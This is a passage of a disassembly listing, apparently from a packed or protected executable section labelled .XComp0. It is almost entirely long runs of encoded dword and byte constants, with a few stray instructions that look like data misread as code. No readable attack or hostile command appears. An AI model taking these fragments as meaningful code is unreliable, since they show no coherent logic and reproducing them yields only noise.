0BB598B7Ch, 56B11946h, 66A547AEh, 55B417BEh dd 66A748AFh, 0B86314BEh, 2399EFC5h, 8CEB8D42h, 9F218A60h dd 9B35CECCh, 0F8DC3610h, 9F6AD1A4h, 98755A7Dh, 0DD7EC364h dd 2995B19Ch, 74CA6C19h, 83169FFh, 583FCEEFh, 43169778h dd 55D586B3h, 702F8F98h, 0E49142B3h, 0C3239D72h, 0B15C817Eh dd 79903B3Ch, 0B56CA574h, 9D72D3A6h, 0C3535023h, 5F581644h dd 0A4698D7Ch, 48D64EC8h, 50B7239Ch, 0FE7F9C5Dh, 7B239D66h dd 77B3438Eh, 0DEh, 0E873CED1h, 29968595h, 0F2011512h dd 2BB20ECDh, 934647BEh, 4782575Eh, 71796146h, 998DAD9Eh dd 33BA6FD2h, 95C72C90h, 52BB2429h, 6BA24BAAh, 649F49B6h dd 4D96B871h, 0EA0F4BDDh, 0B319ECCDh, 347D3402h, 0DD5AFC02h dd 3DE9B024h, 7BF513B8h, 0DEA78DBh, 0F09D2F8Fh, 0E605EB1Ch dd 0B04BC3EFh, 239D83CDh, 7B625D4Ah, 9752078Eh, 563F565h dd 34ED24E7h, 9973C527h, 82B76429h, 41B45775h, 0B9709536h dd 0BB1F9895h, 0C12A954Ch, 76985144h, 56B119BCh, 0F2230285h dd 866F80BEh, 27FEh, 0A143CEF1h, 0CF759A36h, 9B41C228h dd 0CE768F3Ch, 0A044C327h, 6C500F82h, 607E699Bh, 6F4E79ABh dd 5A83629Ah, 966391B3h, 99EEF485h, 3CFC7123h, 72A7608Ch dd 91A56885h, 6E9F40A7h, 73CE58B6h, 968595E8h, 1151229h dd 4D40CDF2h, 63AA13ACh, 52BB24D3h, 7B02B0AAh, 0FE1498EDh dd 0EB4B059Dh, 0CE46FB26h, 41E8C47Dh, 2B4EEDD9h, 0A82995A9h dd 3DDE5BFBh, 2F8EC1D1h, 0B1CC8724h, 2E239C90h, 0C68DB871h dd 0E02AFFABh, 15B632A4h, 530039F0h, 6D07483Fh, 948A7892h dd 0C9F97367h, 97A0310h, 0AF76115h, 34DF1ABFh, 61150949h dd 0F8EE1DBFh, 6802EB0Bh, 827DA4FEh, 0A248AF5Ch db 61h byte_5A4E45 db 0CDh, 60h, 0B3h ; DATA XREF: .XComp0:004531BCo dd 670E4430h, 4336E51Ch, 0C05B1BCFh, 13DE2991h, 0F4DCFB03h dd 0A92BD61Bh, 0D1E34BB8h, 6ECB6BB2h, 7BA16C51h, 8668735Ch dd 90591085h, 7C137E43h, 42234C7Bh, 2706h, 93BD6F9h, 0D70D02DEh dd 339CAF0h, 0D60EF7E4h, 83CCBEFh, 24C8F72Ah, 389641E3h dd 27C631D3h, 329B3AE2h, 0FEBB29DBh, 99ED1C5Dh, 94349923h dd 6FAA638Ch, 37EF9C9Dh, 9FAF4EE5h, 0E642D446h, 0DB8EFF04h dd 0E30EB16h, 442F8F74h, 0F4F910BBh, 0F310BA25h, 36EE9B63h dd 55C3BAF4h, 800D40Dh, 21D10105h, 5045C825h, 71BE5099h dd 7D8C2FC8h, 0BA8DA178h, 29965A54h, 0B83FFAA7h, 0DC5DF112h dd 0ED1AC23Dh, 87F60649h, 0FA8E555h, 47C02CADh, 7F410B82h dd 0EA40C49h, 0D38F9F6Ah, 23500045h, 0BDCDD3B9h, 8832CD74h dd 0BD5EDB7Bh, 5BEBD4D1h, 0B3767724h, 6667A04Ch, 51C7A3B3h dd 8E29D009h, 173ADC31h, 55F2C0CCh, 0A059807Dh, 0A3BE062Ch dd 0C0564C6Eh, 5B818C31h, 59BA537Ch, 6A908942h, 1F2E3738h dd 12000026h, 1BBA62AFh, 3DA85CB3h, 11B4689Bh, 40A75DA8h dd 5BB96B9Ch, 0B6517926h, 8685678Eh, 0B554775Eh, 8687688Fh dd 98C3745Eh, 2399ECE5h, 8C4BED62h, 9D6FAA63h, 1FB0E423h dd 8F30A7ADh, 8CA2777Eh, 951C753h, 29D029D0h, 967C8FEAh dd 40F0C29h, 29967C79h, 5F5A8204h, 5F3FAA25h, 73BE4F70h dd 780670E3h, 94912F8Fh, 28ADEA70h, 9EBD64BEh, 29967670h dd 8AC7A9C3h, 2EA19BFh, 0CB0673FCh, 0C742A916h, 3FAC13C6h dd 440F30C6h, 0BA4D1C87h, 0E11842D4h, 1DDF4D6h, 0F2DCC30Eh dd 1B38F519h, 86F4D277h, 38D5FA05h, 0AA52E4B5h, 0C631F8FDh dd 37F2E328h, 45E91AC0h, 0BA218F19h, 84C9B45Fh, 59467B02h dd 2CA05990h, 2FEA1DBFh, 3EFB1BDAh, 4D7E1103h, 8948BF6Dh dd 82FDE265h, 0F1AE80FBh, 0FD0CAF48h, 60CB21F8h, 37C0FDDh dd 70C96688h, 0D3EF8AC9h, 0AF6C7508h, 9E6F509Fh, 0DB78C166h dd 7508D3A2h, 1DCC621Fh, 3D6E4DC0h, 67018B62h, 2508674Eh dd 0D4FB0000h, 0E0073Dh, 0E00AED0Fh, 0F5D60123h, 0E109EC10h dd 0ED24FE26h, 43F90EAEh, 2BD13AA4h, 34E821CCh, 3BE12C91h dd 4A33E099h, 0C72399EBh, 638C5E22h, 65886FAAh, 0D67831A4h dd 0DF0B9D0Dh, 96854934h, 0C4BCC629h, 73B8CD5Dh, 3F9E19D0h dd 0DB16C3CAh, 0FED8AE26h, 0E05078D5h, 0E118E14Eh, 96104732h dd 37D7C429h, 8F41F214h, 7CA05D2Fh, 0C4B5669Bh, 41239CDEh dd 0F7A8B244h, 73AEF462h, 7F8A31CEh, 0F736DC6Fh, 50C42995h dd 0BA23DC46h, 4EC0269h, 0C90003E5h, 0FF4C171Ch, 0BF381AE6h dd 0EA1DBD1Eh, 0C5530F1Fh, 8170649Dh, 0FF9FA0A0h, 7E972F2Ah dd 2BE6993Ch, 0A1ED2E0Bh, 2F265AB0h, 109843DDh, 0B52259DCh dd 2EFBF215h, 0E33F008h, 0B93CC7F1h, 0D4954EE0h, 890C03EBh dd 0B4223ED0h, 3BA8B36Eh, 27206195h, 40A92C90h, 0D019D0C5h dd 15F2DADDh, 0EE00C9A0h, 19E01906h, 204A33E0h, 1AC0146Fh dd 0F9D6F5E9h, 1C8A114h, 3CE1FEEDh, 6F205E1Fh, 23ECD414h dd 1A07F7B2h, 5CC3F9Dh, 0FF6E3DCh, 0E7D4CB9Eh, 2CC2971Eh dd 369A2502h, 0AF05D4D9h, 36F10DB6h, 0EDFC1204h, 0B3DE3DD0h dd 0C1A02101h, 23C0C5B0h, 0CB30000h, 0D8F8DF05h, 0F8E20537h dd 0CDEED90Bh, 0F9E10438h, 0C53CD60Eh, 2BD13696h, 33E922CCh dd 3CE02994h, 23D93499h, 225BF8C1h, 9F2399EAh, 638C862Ah dd 0DACA118Dh, 99501C1Ah, 0CA108614h, 0C243A80Fh, 3AA11ECBh dd 61F23FCFh, 2F8F5611h, 0CFDE0D7h, 4A33E089h, 0C7239D02h dd 0F7FF0FDAh, 0CA35D20Ah, 0D47E724h, 164CDAA1h, 1AE230EBh dd 87702996h, 7A2FA665h, 0E9E994BFh, 0B9661DA3h, 85A05D95h dd 6CE188AEh, 3961F7B1h, 183F5300h, 63928FD4h, 4E1B9279h dd 0E981283h, 29922DD4h, 1A8F6DBFh, 2BE6EA0Ch, 0EA1465F6h dd 949183E1h, 738CB582h, 0F0DBC44Bh, 31C59419h, 0DB23C11Eh dd 8CB57289h, 69A64AB5h, 52A1B564h, 7E79A06Dh, 7029AC61h dd 4C7154DEh, 1845F2C1h, 0AEC71EABh, 22DDC7h, 20F1D000h dd 1AF5D9FCh, 2ED503E2h, 1BEACFF6h, 29DEFEE9h, 0B3E021F3h dd 0F9DC0007h, 0E10438D3h, 0AED0FFAh, 0CEF428E5h, 0E98FEA29h dd 570C2399h, 0AA638C99h, 0A667886Fh, 0BD47A2Fh, 3D9F099Fh dd 3DDE03CEh, 2F931810h, 720B48E5h, 0EF2399F2h, 0F742F732h dd 99F2215Ch, 4DE19E23h, 17F6D7E0h, 0F2AB5EE5h, 0EE742399h dd 805D88BCh, 806B548Dh, 59AE0E89h, 369E7BB5h, 1EC0DFA8h dd 25C107EDh, 356D104Bh, 3DEA239Ah, 900662F4h, 0CD848F4Ah dd 0A22996C8h, 1BC33CE5h, 0D0E750F4h ; --------------------------------------------------------------------------- loc_5A5344: ; DATA XREF: .XComp0:00453028o ; .XComp0:004532CCo jmp short loc_5A5360 ; --------------------------------------------------------------------------- dw 0C693h dd 0C01DC130h, 36E3EA1Bh, 0D6CE46FBh, 59E68F1Fh, 5A9EB101h dd 75BCCAB6h ; --------------------------------------------------------------------------- loc_5A5360: ; CODE XREF: sub_5A47B5:loc_5A5344j loope loc_5A536A pop ds mov esi, 14C1844Fh ; --------------------------------------------------------------------------- db 0FEh, 0BEh ; --------------------------------------------------------------------------- loc_5A536A: ; CODE XREF: sub_5A47B5:loc_5A5360j cmp edi, [edx] sub edx, ds:8000022h jmp near ptr 0EE2C479Fh ; --------------------------------------------------------------------------- db 22h dd 16EDDBFAh, 23E207EEh, 11F6D601h, 9BD859EBh, 0C124D82Fh dd 0A94CF01Bh, 0B215C742h, 0F6DC000Dh, 0E8671241h, 7FE42399h dd 3169FFC1h, 18064B08h, 0A9162F93h, 0C931C540h, 1C845AAh dd 379621D8h, 910EDBD2h, 9F4EE02Bh, 56FAB23Eh, 0A14B5B83h dd 7E6F9436h, 8ABE66ABh, 23D1A510h, 36075CCAh, 701546FBh dd 102399F7h, 5838CBCh, 1638C8C0h, 572231DEh, 0CD2399D8h dd 0F9A618EBh, 23300930h, 2399D85Ah, 0DB042AD7h, 99D84238h dd 0E71CBE23h, 2ED901E6h, 342255A7h, 4E69CE6Ah, 8776986Dh dd 0F4F16B5Bh, 91B648D3h, 89000000h, 36B74C6Eh, 0FF6DD363h dd 0F30C3565h, 0BAC350C7h, 37299685h, 0C26F7F4Ah, 9685EC91h dd 0A7B46129h, 299685D6h, 1A9B5653h, 96860C69h, 0A4618A29h dd 64A94631h, 0C614F371h, 0A55B6AFBh, 549D8A23h, 311541CCh dd 4D2F85BFh, 4378h, 31CECA00h, 0B715828Dh, 0EB8FC254h dd 0A9299685h, 5A5BB00Eh, 65F36F7Fh, 1E3D043Dh, 2996855Bh dd 2E0B2BD8h, 8F99C1EDh, 1C37D42Fh, 239D7161h, 9B12F1D7h dd 0B42BD8CEh, 0D792030Ch, 0F0D0E712h, 0B250F1Fh, 95E873CEh dd 12299685h, 0CE5F23F8h, 0A9600E2Ah, 0F64FD985h, 0CB7D2080h dd 547A65C3h, 8CC772B7h, 2F8FA8AAh, 6F0A49F0h, 0FA239D3Fh dd 3AE3682Ah, 0DF9C0201h, 0F3FAA74Fh, 9A42CBF4h, 0AF5C827Dh dd 46746B3Eh, 755A99BDh, 1A858A66h, 835657B4h, 0AD6E934Eh dd 239D11CCh, 31BA5C49h, 6C61A646h, 2AAB628Bh, 686DA03Dh dd 11CD19ECh, 2D3F2B1Ch, 62C77D90h, 0CE315F6Ah, 9842130Eh dd 5B4EA66Bh, 83B30A82h, 0BF20CF5Fh, 0AC67B01Ch, 239CA3D1h dd 5198514Eh, 4FE024A8h, 45EC5BB9h, 9CCC6316h, 0EE23E023h dd 0DDDA9F48h, 0CF8A0BFEh, 6DB5233Fh, 0CDDFA7B4h, 8F852995h dd 1FFBD0h, 0B24AEC99h, 79235605h, 0E3A01DA4h, 0EECFF62Eh dd 360BAE1Fh, 0A4795425h, 42D4D11Dh, 0DB208D0Fh, 0C37E3B95h dd 6DD2E598h, 91A562A5h, 67886472h, 76577EA6h, 0D808365h dd 0FA218D3Fh, 62A7828Bh, 0BE8326A7h, 6E62DC9Dh, 507A59A5h dd 19D87EB3h, 27CB38B0h, 0A2EE18A6h, 5D816667h, 0FCBB495h dd 71B85D4Ch, 0B64D7B7Ch, 0ACBACD3Fh, 1D368F2h, 34D12432h dd 69534CA7h, 0D87E2BA2h, 8E2F3D29h, 557A5D7Fh, 5A7681B8h dd 7DB45B83h, 548DA178h, 754A3F95h, 326A4645h, 5AD6401Ch dd 0A55C9572h, 67792876h, 0F23E96ABh, 0F28BC8C4h, 6F9F74D4h dd 0AF385AB2h, 484DDA32h, 0A3024B08h, 8DCE6B93h, 9F7511ECh dd 0CF75BC69h, 4F46C728h, 86958668h, 9F7511F3h, 11847F69h dd 70B96658h, 0CB17F07Dh, 0FEDFFCE1h, 0AD1FDA0Fh, 220E2DA5h dd 225BF88Eh, 9F9F74AEh, 2D0727E2h, 0E5E825CAh, 793D044h dd 22DB68CEh, 5CF215B5h, 0BF5C9600h, 9F74ABBEh, 5E834E3Bh dd 2FC8C676h, 0FB1B51B1h, 55E11D3Eh, 288FA56Eh, 985144C5h dd 0C647E76h, 5691595h, 57930B52h, 0ABA27575h, 0A059BE66h dd 7BA30A73h, 749A8799h, 96C55875h, 997BA2E3h, 676EA360h dd 0A1DC77C2h, 1E997BA2h, 0AF7A892Fh, 0A2CDAC9Fh, 0A14BA97Bh dd 5C84636Ah, 719842B3h, 5A5FB965h, 1415DC72h, 778D5FA8h dd 7E7D9106h, 60369E50h, 0E01A1D2Dh, 19D039A4h, 34D9F6F5h dd 306E510h, 0DAE5E792h, 0A07349FFh, 329A59FDh, 7E0DF3B8h dd 0C40D2B15h, 0CF3CA21Dh, 2EB0BDEh, 55578362h, 86719376h dd 4C2BA267h, 0FE6F669Fh, 2455063Bh, 0A1897C0Bh, 69E110E4h dd 0E3DA3B00h, 0C6A6B453h, 0C037E227h, 0F04AEC1Dh, 1861F247h dd 95897BDAh, 493E04E8h, 843B689Bh, 0B1588372h, 98578488h dd 0EF201382h, 8214865Fh, 5F58A158h, 40A46F7Bh, 0AECF283h dd 1A1C2FBFh, 608F74E2h, 0A318796Ch, 0BDECF36h, 169F9AA9h dd 4EEEF800h, 641D720h, 0D68DF02Bh, 1D0A8381h, 7FEEBD4h dd 0E31ED386h, 0D67CFD1Eh, 1CF98381h, 81D67EFFh, 0C30EFB83h dd 0F910BA33h, 2DDCFFEDh, 2CE712F7h, 8381D651h, 0AE3DD1CEh dd 0EEF9FC11h, 6E0F4CD1h, 0EB8381D6h, 0D969EA21h, 0C801EE57h dd 0F221D801h, 8381DE87h, 0DE69143Fh, 39E68381h, 0AD36D8C5h dd 9CB78237h, 8381DEE1h, 0D16F586Ch, 0FEF8E99h, 0D1FDFC12h dd 0E61BF2DBh, 0E92AF5D9h, 83826E90h, 0D4D9100Dh, 0BA47F105h dd 0EB3B4A26h, 52DFh, 37952200h, 4CD3AA2h, 618C4CF2h, 23B525A8h dd 0F742F7h, 0EBBE2FE0h, 96852D50h, 59FDAA29h, 329A25DCh dd 0BC0E41D5h, 972F8FAAh, 0FFF617B8h, 5FC3C22Ah, 2DC695A2h dd 19C23DE4h, 2F4940CFh, 7C2320Ah, 66A84DE7h, 0D1000000h dd 8C0106E6h, 8C0339DDh, 8425A861h, 85DB9EBDh, 0BB582996h dd 9685DDA0h, 64AD5A29h, 0A80096D2h, 0C2EFC546h, 1D6B6DE2h dd 1FF52CE5h, 516EED44h, 6A3658BCh, 0F312B720h, 0A92BD663h dd 8FCAD2D1h, 0EA25C9D8h, 5BFB36E3h, 8E89AAF8h, 32E1182Fh dd 239C8747h, 0BF37D7C4h, 2FD1AC2h, 2ADFFEDDh, 1B3BF6A3h dd 0DC5F125h, 0A1CF3607h, 46E8BC00h, 0AB568C1Ah, 8EB5A270h dd 0D108F52Fh, 0AA0207E6h, 9C7D6330h, 0C1829458h, 4F600772h dd 0D97ABF18h, 2EE931A0h, 9AB9601Dh, 2EE931DFh, 0D38F9F5Ch dd 1DE41D45h, 2ACC39A2h, 0E2586B27h, 18C1BE34h, 2BCB3A9Fh dd 64BE28C2h, 0B17157BDh, 1E8164CEh, 0C3203BF8h, 0AF2EE8DBh dd 0DC77A848h, 22F666A1h, 86A8611Eh, 0B188B16Eh, 66B2CB88h dd 722F22F6h, 2BB00DDCh, 60242DC1h, 32DBDA8Fh, 0E0715F7h dd 611735B4h, 799B71A8h, 168656D6h, 8B3C41AFh, 63D04D29h dd 6AE58191h, 0B757C2FBh, 98755A7Dh, 0A60CB23Bh, 7E6788B3h dd 1C02h, 537DAF5h, 0EB11FEE2h, 0FF25DE0Ch, 0EA12F3D8h dd 0F428DF0Bh, 8B4E31Eh, 0D4FADDFFh, 0FBE20537h, 0CEEFD60Eh dd 82379D3Fh, 99E2A8D1h, 0C02523h, 968695E8h, 0BAC74D29h dd 2B1FA57Dh, 4B0F6AA9h, 8F8C2996h, 887B5D5Ah, 366CFA66h dd 5866500Bh, 0B4712F8Fh, 0C160B48Dh, 553E80BAh, 23AC54CBh dd 0E62BC991h, 2D9BC00Eh, 0EE00F9C8h, 0DC10DCFFh, 29A80505h dd 84639950h, 3A3DB059h, 0C97C5B95h, 65390FDBh, 42884FACh dd 698AB0FFh, 1B717Ch, 947D6400h, 0A6698570h, 9271577Eh dd 0A75E8B6Ah, 9D6A5275h, 2754CD67h, 35A044C3h, 25D07497h dd 36A143C6h, 22D07499h, 0E1B3C655h, 0BB302399h, 0FF69FFFDh dd 0BABD30DFh, 0F831F815h, 0DDFFF841h, 6D45082Eh, 0B32F8F93h dd 0C668A14Ch, 71C8712Eh, 9D7697E2h, 0C7671423h, 8F6A8F6Ah dd 9D76F984h, 6A897623h, 239D770Fh, 31A46785h, 75998678h dd 96C55A76h, 239D76E3h, 0B36EA360h, 12833961h, 20F486EEh dd 3A2F4D92h, 0B27C92F8h, 0BD64AB13h, 0DE709D42h, 6E5B6405h dd 71431697h, 0A7840AA7h, 30BF4FA7h, 6AA34C8Fh, 0A3492E9Fh dd 59826568h, 285F29ACh, 2FDE643Ah, 6AA54923h, 61A248AFh dd 9F99BD6Ch, 9A14927Ah, 6C1254B1h, 13F990CAh, 1CE7D1EEh dd 4A33C099h, 0C7239D22h, 0B12834DAh, 2297E271h, 6714239Dh dd 299683A2h, 944548C3h, 0C44B7382h, 223442D1h, 0EB0239Dh dd 0CFEFF8FDh, 3ECD4D40h, 14EB4E10h, 0D30AE6C6h, 31D31EE5h dd 0F0E52AC6h, 8BB6EC7Ah, 2F525EB6h, 6FE1C5FBh, 24C56CDFh dd 0AA152999h, 7F4A842h, 235CCD9Dh, 0C1B048EEh, 237F21Dh dd 0FCD9F10Ah, 2833210Bh, 1DA03155h, 0E51CD5D2h, 0A0314336h dd 33C3C01Dh, 7D4F906h, 3BE128E7h, 0CF7E1DEh, 0C83D9E89h dd 39DD14C5h dd 41F815BAh, 31225BF8h, 0E29F1DA0h, 0E9D6934Ch, 76F204FFh dd 0BA7FBAE0h, 0CA699C3Dh, 1DA031AFh, 52DF6F2Ch, 0B8C152A7h dd 701DA031h, 0A0319AE3h, 746A171Dh, 0B8C15287h, 351DA031h dd 0BA3A648h, 26239CC4h, 7E79C079h, 0E84C9062h, 3571AB95h dd 0E20F9FCh, 0EA0FFEDFh, 2179040Fh, 9F617A4h, 0E6EE4BE5h dd 5379548Fh, 0D66954B8h, 0D6235605h, 0E3A017A3h, 4E9082Eh dd 80168409h, 0B95A9F5Ah, 17A3D6C0h, 7A99403Dh, 17A3D6FFh dd 0C26F7F7Ch, 0AB5C8077h, 6CDF6F2Ah, 1D9D0032h, 144CC06Dh dd 0B8985D96h, 0A93A43D0h, 0CAB711AAh, 133FB4FFh, 0C4EDA2EDh dd 1955E1h, 68A94800h, 62AD11B4h, 56AD1BBAh, 63A247AEh dd 51B616C1h, 5B1899ABh, 8164986Fh, 698CB05Bh, 72558782h dd 0B61CC04Dh, 0DF275201h, 3FA42399h, 859EE881h, 0DB022996h dd 0BB11F62Eh, 0B648454Fh, 0D975A37Ah, 39C76132h, 94025EF0h dd 917C615Eh, 0CBAE4D1Ch, 48299587h, 966B965Bh, 9587F485h dd 0E6FAC29h, 8B299588h, 0DB7B289Eh, 19F5BD5Eh, 0C43B2F92h dd 0B048EE17h, 0E7EE19C1h, 0F742F732h, 0F32EDF00h, 98F51568h dd 81959223h, 809E4872h, 0B6924D2Fh, 2F1133FEh, 4E8B31CEh dd 5C51986Dh, 1A9B725Bh, 9F648A3Fh, 4DAF51CDh, 0E6E63399h dd 0DE89D8A1h, 0CF8A0B00h, 9528F41Ah, 0F3000002h, 529E20Ch dd 4A46CE2Fh, 22AD1302h, 0DF4B1737h, 31CE6583h, 0C16E808Bh dd 0DF89478h, 105998C1h, 792F4BFEh, 0E7ED2996h, 2E1A36FDh dd 67ABA747h, 27C7EFF4h, 35D8F5E2h, 26A2F621h, 1E157F05h dd 0CE26DA0Fh, 0A44A9C7Ah, 0EC60BD30h, 0AA4C1402h, 8B31CE94h dd 0BA5C0D80h, 62F139AEh, 29968517h, 0E81FCA94h, 0A21AE84Eh dd 0CE7EA267h, 8595E873h, 15122996h, 0FFC46401h, 0CE143466h dd 84D6D946h, 4EE00E16h, 8B34CEDh, 39DD8C01h, 523AA603h dd 6D8A502Fh, 0A4618A4Fh, 9DB17831h, 5E81h, 79635C00h dd 44C72592h, 0C0769851h, 73268FFh, 0E326C532h, 96852558h dd 0DC339B29h, 0E19E00D9h, 73CEE74Dh, 6FB654A1h, 0E000571Ah dd 0F154FA2Fh, 29963785h, 0EEE61B08h, 200ED31Fh, 0EE44EA5Bh dd 828D31CEh, 8C81BF6Ch, 837CA55Eh, 6841B45Bh, 2E1270C6h dd 768Ah, 0A248AF00h, 0FF67CD61h, 3A4C1568h, 49B1E377h dd 95C16F0Ah, 0FA2FEC29h, 97020A2Fh, 972C463Ch, 74DD3C29h dd 0A08A46A0h, 73CEA88Eh, 85A9628Ch, 9685B4C2h, 83A55429h dd 73CE7ACEh, 968595E8h, 1151229h, 63BC8F2h, 855D203Bh dd 2DDA2996h, 73CE3309h, 968595E8h, 1151229h, 91689178h dd 9685F782h, 6C877429h, 29968611h, 0C13B918Eh, 856ECE27h dd 0A63C0214h, 502F523Ah, 8F7Bh, 9439C600h, 0CE5FD579h dd 0A036B546h, 0AB0186E5h, 4F264589h, 9FCB6B41h, 0CE34D406h dd 6D6FF046h, 18B55361h, 0E02900F5h, 0B418E14Eh, 0D0D1EAA8h dd 0D281B89Eh, 29966EA7h, 74D77724h, 29966F06h, 86836A89h dd 6A8F5A0Fh, 576BCE62h, 1E30ED24h, 8D31CE18h, 139A6B50h dd 0CE6B8B46h, 0AB648C73h, 59DF6F2Ah, 76AB648Ch, 7D23509Eh dd 0E20C71F2h, 0E84EE029h, 2D902712h, 0EE00D9DCh, 0E873CE48h dd 29968595h, 11F8E312h, 7EB536D8h, 0B000000h, 0D3466FFh dd 4D40CDF2h, 0CEC47A9Ch, 0AA638C73h, 3F652642h, 3DD117DBh dd 96086C0Ah, 44CF2A29h, 29960839h, 0BA049FC4h, 0A618DC92h dd 0EFE625C7h, 0E608EF3Ah, 0CF061125h, 0E92ACF2Ah, 29958C90h dd 7A03100Dh, 3229958Ch, 958C5821h, 0B628D529h, 0CE0F25C9h dd 7046CE7Ah, 74CAED94h, 5D817086h, 45B287B2h, 0AAD360A3h dd 35299654h, 0AA9BFDE0h, 9F5C428Bh, 81749538h, 12B086A8h dd 0FD4E8A2Eh, 5DAFFFFFh, 5DC35388h, 3107275Ch, 159A46CEh dd 0BECBC6C3h, 0E35ACC98h, 0F18057A7h, 3DE42DDBh, 5B1E3D04h dd 0D12995ACh, 0D1BE20EBh, 95AC3742h, 2C7B429h, 3EF459ECh dd 0DCC92F92h, 0BB359A25h, 0EE554A3Ah, 0CBCC4D76h, 27188DA7h dd 45F527E2h, 0AB568BDFh, 98F90D70h, 799D8A23h, 748F85BCh dd 8C815ECCh, 87BB2F28h, 0DA99E467h, 69162398h, 32A347B0h dd 5C0D808Dh, 0DB688195h, 2398DAA4h, 5D50B516h, 2095725Ah dd 0D18DD9ACh, 0B492C047h, 48D2F238h, 55FDh, 31CE4700h dd 0A0797C87h, 85BEBB8Eh, 933C2996h, 9838BF7Ah, 93A37677h dd 85DC9AA9h, 5DCB2996h, 773FDC05h, 0BD2F8FB6h, 0AC2B9357h dd 0B757CD6Fh, 2AD8253Fh, 7F27DC3h, 3CA017C2h, 0E4112BCBh dd 12Fh, 2663BF15h, 4CF2822Ch, 12F38695h, 0B370239Dh, 31CE9DA3h dd 0A1787D88h, 1B47D18Dh, 8E1135E6h, 0C82F2F8Fh, 43E6E728h dd 9D7C6518h, 0EC25E223h, 5605B24Ah, 239D7C23h, 0F32EE3A0h dd 0A627E00Ch, 2BD663F3h, 0ECE12A94h, 0F3DA193Dh, 0E8D4EB16h dd 4250F1Fh, 7C5B1E3Dh, 2BD8239Dh, 0D7D97CC9h, 58FEA556h dd 0D6D73299h, 7856D244h, 0BC572293h, 239D65C1h, 4188413Eh dd 7B986198h, 239D6602h, 871827Fh, 85239D66h, 9AB97698h dd 2999F89Bh, 0DF0CF3A0h, 0D3641526h, 24E11DA0h, 0F20D34EDh dd 0CCF320CAh, 268F5CCEh, 41AC4BEBh, 2BE811C8h, 1DA17F52h dd 0ECE122C8h, 0F8DCC93Dh, 345D0794h, 201A3C57h, 2F316B5h dd 9887FE68h, 0FC724787h, 0F91ABF0Ah, 239D3D83h, 0E926CA35h dd 0D92135E4h, 0E50AF52Ch, 0E906F128h, 56F8B124h, 7D4F9DCh dd 0FEC25E4h, 0A4F4BAA4h, 33B0B5BEh, 26000014h, 379E46CBh dd 21C47897h, 2D984CB7h, 24C3798Ch, 97AD4FB8h, 8A7D5D1Ah dd 0C2497352h, 0F910BB1Ah, 0D23BA443h, 64EFC82Ah, 2399DA19h dd 0CE8F3196h, 787D8831h, 815E8DA1h, 9960098Ch, 9685FF7Ah dd 6F7F7C29h, 27AE5F80h, 0A7080CADh, 0E6D5321Ah, 8CDA29CDh dd 3DDE3FA0h, 2995C73Ch, 0E7D3CCB9h, 0C730E920h, 3EEBE221h dd 5EF01BC1h, 0E7510BD4h, 58164D2Fh, 0F0000000h, 7C8731CEh dd 0C2188EDAh, 0AC96FC17h, 1FE92F8Fh, 3A656B6Ah, 0CACB0621h dd 0D536981Fh, 0DB241h, 78EBF3D9h, 0DB7D0314h, 0F9D6013Bh dd 9F09A114h, 57369E43h, 5DA81179h, 682B8158h, 65D26417h dd 960090B6h, 0AC11AE29h, 57BD6C61h, 50D98C5Eh, 0EE608D6h dd 8C55EB11h, 8976AB64h, 0AA84AA65h, 0DF7CA34Bh, 2996859Eh dd 7EA36E1Bh, 85E598C3h, 0A5622996h, 0D9AB5891h, 41299685h dd 2DCA6F9Ah, 0A574798Ch, 25B3A791h, 0AC1744FDh, 9D2F9317h dd 1CBE39E0h, 1F417B5h, 0E53BE128h, 0C6E946CEh, 2CC4B874h dd 6B8B46BFh, 0AFB0CAA6h, 0C11D9A4Dh, 0BA7CA84Eh, 0BF000001h dd 7F769738h, 0FFAE84AAh, 0CE112F6Bh, 9685E98Dh, 3A25A729h dd 23A669DCh, 32917C92h, 9F7A7B88h, 7ACEB66Ah, 0FFAB4A9Ch dd 68114268h, 0E5299685h, 0AF48F138h, 0E55BFB0Ah, 66FF4AFEh dd 66DA1434h, 2F523AA6h, 527B50h, 0CECD0000h, 6E808B31h dd 0B3D65F2h, 7F8A31CEh, 49C4290Eh, 0BA5C9544h, 8598DE7Dh dd 3C1B2996h, 0A6737A93h, 9F49B66Bh, 0CE6CD264h, 8710A173h dd 82752ABBh, 5E8CC66Ch, 271283A5h, 91EC27D2h, 0E299685h dd 85770211h, 7F42996h, 598A51E7h, 0B6000000h, 0E3268FFh dd 95E873CEh, 12299685h, 0D340115h, 4E3FCCF2h, 4FB8249Bh dd 0E86B8B5Eh, 29968592h, 0A06B5132h, 65A24A2Dh, 0B970B970h dd 8831CE87h, 3EF30360h, 0EC382E7h, 8CFD4BE8h, 8F48735Eh dd 6D3DA29h, 26DB06CBh, 968584F5h, 0F2040129h, 9027124Ch dd 0FF35D92Ah dd 2F523AA6h, 487B50h, 4EC60000h, 4D15CC58h, 0BD83934Fh dd 143466FFh, 85E98DCEh, 10A72996h, 7F5A5BACh, 669A876Fh dd 808B31CEh, 8C7FC16Eh, 0CE7DAB64h, 0B58FA846h, 73FA7081h dd 0DA63A2F7h, 1342AA5Fh, 2D2852EEh, 0BD531C32h, 4C8Ah dd 73CEB600h, 968595E8h, 1151229h, 7AAEFC65h, 818C31CEh dd 0E793C06Dh, 87299685h, 85C8B162h, 0A13E2996h, 448D7A6Ch dd 8EBA379Dh, 0E7D691C5h, 46CEF147h, 39E9B46Ch, 42EFFFF4h dd 79648CFEh, 6336B752h, 31CE7AAEh, 0A0D97D88h, 0A173CE00h dd 0BA1EC6A5h, 5A23304Ah, 0D729961Ah, 5153C22Ah, 0AEF13412h dd 0FE366788h, 2592FFFFh, 705B44C7h, 0B1451499h, 4169FF8Bh dd 1F419B6h, 85720B28h, 5E82996h, 2CE5A204h, 6E0F4CF5h dd 0EB299685h, 1B183Eh, 2F931851h, 37C07926h, 4AC27796h dd 9969890Ch, 0A58F9FCEh, 46FB2FB5h, 33DC04FBh, 447E7C2h dd 2399BE79h, 0B229C631h, 2135FC09h, 1FF52CD9h, 7ABAD10Dh dd 0C51E304Ah, 0D40FB024h, 9BF14F9Ah, 0B1A7D87Bh, 0C57A2399h dd 8665F4Fh, 0E50915EDh, 62FEC816h, 3248D316h, 2E314C07h dd 45A7239Ah, 0CDF1E0C6h, 539E4B42h, 2167C3h, 7FBA0000h dd 9A2EA9D4h, 205C2623h, 783329BFh, 9CA2B47Dh, 968591E8h dd 5FAE0F29h, 0EF18BDh, 0CE680000h, 0CE8D8831h, 299685ABh dd 0A0B67B28h, 0EBEB52C4h, 945C4491h, 2132E722h, 2F8EAE95h dd 0D904ECD3h, 0DCD118F3h, 2411E90Dh, 9C9A86F7h, 38D1FC23h dd 502E4B5h, 43AA15CCh, 14B71EC6h, 